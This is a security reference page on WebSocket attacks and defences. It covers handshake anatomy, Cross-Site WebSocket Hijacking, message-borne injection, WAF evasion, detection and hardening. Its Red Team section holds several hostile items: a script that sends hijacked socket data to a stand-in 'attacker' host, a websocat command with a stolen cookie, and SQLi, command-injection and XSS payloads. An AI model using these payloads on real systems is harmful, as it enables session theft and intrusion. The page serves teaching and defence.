WebSockets
Full-duplex channel over a single TCP connection, opened with an HTTP handshake (Upgrade: websocket) and then kept alive with binary/text frames. It breaks the request-response model: the server pushes data, cookies are not re-sent per message, and many HTTP-oriented controls (WAF, per-endpoint authZ, CSRF tokens) do not apply to messages once the tunnel is open.
Threat model
Section titled “Threat model”The weak point is rarely the protocol itself but what is trusted from the handshake and what is validated per message. If authorization is checked only on connect and not per action, anyone who opens the socket wins. If Origin is not validated, a third-party page opens the socket with the victim’s cookies (CSWSH). And since messages are usually JSON that ends up in a query or in eval, the same old injection bugs reappear with no WAF in front.
Handshake anatomy
Section titled “Handshake anatomy”GET /chat HTTP/1.1Host: targetUpgrade: websocketConnection: UpgradeSec-WebSocket-Key: x3JJHMbDL1EzLkh9GBhXDw==Sec-WebSocket-Version: 13Origin: https://targetCookie: session=...Response 101 Switching Protocols + Sec-WebSocket-Accept. From here traffic is frames, not HTTP. Cookies travel only in this initial request.
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”- Grep the app JS for
new WebSocket(,ws://,wss://,socket.io,SignalR,stomp. - DevTools → Network → WS filter → Messages tab to read traffic in the clear.
- Proxy: Burp intercepts and lets you replay/edit WS messages from the WebSocket history.
By hand
Section titled “By hand”Replay and inject without a GUI, using websocat:
websocat -H='Cookie: session=STOLEN' wss://target/chat# type messages on stdin, read responses on stdout{"action":"getMessages","room":"1"}{"action":"getMessages","room":"../admin"}Vectors on message content (the server usually treats it as trusted):
- Back-end injection:
{"q":"' OR 1=1-- -"}→ SQLi;{"cmd":"id"}→ command injection if the back-end executes it. - Stored XSS via WS: a chat message
<img src=x onerror=...>that other clients render unescaped. - Per-message IDOR: change
userId/roomId/orderIdin each action; authZ is rarely re-checked per message. - Mass assignment: add
"role":"admin"to a profile-update payload.
CSWSH (Cross-Site WebSocket Hijacking)
Section titled “CSWSH (Cross-Site WebSocket Hijacking)”If the server does not validate Origin and the session rides on a cookie, an attacker page opens the socket with the victim’s credentials:
<script> var ws = new WebSocket("wss://target/chat"); ws.onopen = () => ws.send('{"action":"getMessages"}'); ws.onmessage = e => fetch("https://attacker/x?d="+encodeURIComponent(e.data));</script>Equivalent to CSRF with response read-back: you exfiltrate everything the socket returns.
Evasion
Section titled “Evasion”- The WAF usually inspects the handshake but not later frames → put the payload in messages, not the URL.
- Fragment the message across continuation frames if inspection is partial.
Sec-WebSocket-Protocolsometimes routes to different backends with uneven validation.
- websocat — CLI client, tunneling, scripting.
- Burp Suite — WS intercept/replay, WebSocket Turbo Intruder extension for fuzzing.
- wsrepl, STEWS — WS-specific fuzzing and discovery.
Impact
Section titled “Impact”Session/message theft (CSWSH), RCE/SQLi with no WAF, privilege escalation via IDOR/mass assignment, XSS propagated to every connected client.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- WS messages with SQL/command/HTML syntax in application logs.
- Handshakes with missing or unexpected
Origin. - A single socket touching identifiers belonging to many different users.
Telemetry
Section titled “Telemetry”Log Origin, authenticated user, and action for every message, not just the open. Correlate socket ↔ identity.
Hardening
Section titled “Hardening”- Validate
Originin the handshake against a strict allowlist. - Authorize each message, not just the connection; never trust client-supplied IDs.
- Always use
wss://(TLS); short-lived session tokens with re-check. - Treat message content as untrusted input: validate schema (JSON schema), escape on output, parameterize queries.
- Rate-limit per socket and cap frame size/rate.
Response
Section titled “Response”Close attacker sockets, invalidate affected sessions, review what data was exfiltrated over the channel.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- CSWSH (Cross-Site WebSocket Hijacking) — patterns from missing
Originvalidation documented by PortSwigger; usually reported as bug bounty findings rather than a specific CVE. - Slack / chat stacks — historically, XSS propagated via messages rendered without sanitization.
- Socket.IO / engine.io — parsing bugs and missing origin validation in misconfigured integrations.
- PortSwigger Web Security Academy has reproducible labs for CSWSH and per-message injection.
Testing checklist
Section titled “Testing checklist”- Does the handshake validate
Originagainst an allowlist? (try opening from another origin) - Can the socket be reopened with victim cookies from a third-party page? (CSWSH)
- Is authorization re-checked per message or only on connect?
- Are message IDs (userId, roomId) manipulable? (IDOR/BFLA)
- Does message content reach SQL, commands, templates, or HTML unsanitized?
- Can you add unexpected fields to the payload? (mass assignment)
- Is there per-socket rate-limiting?
- Is transport
wss://(TLS) throughout?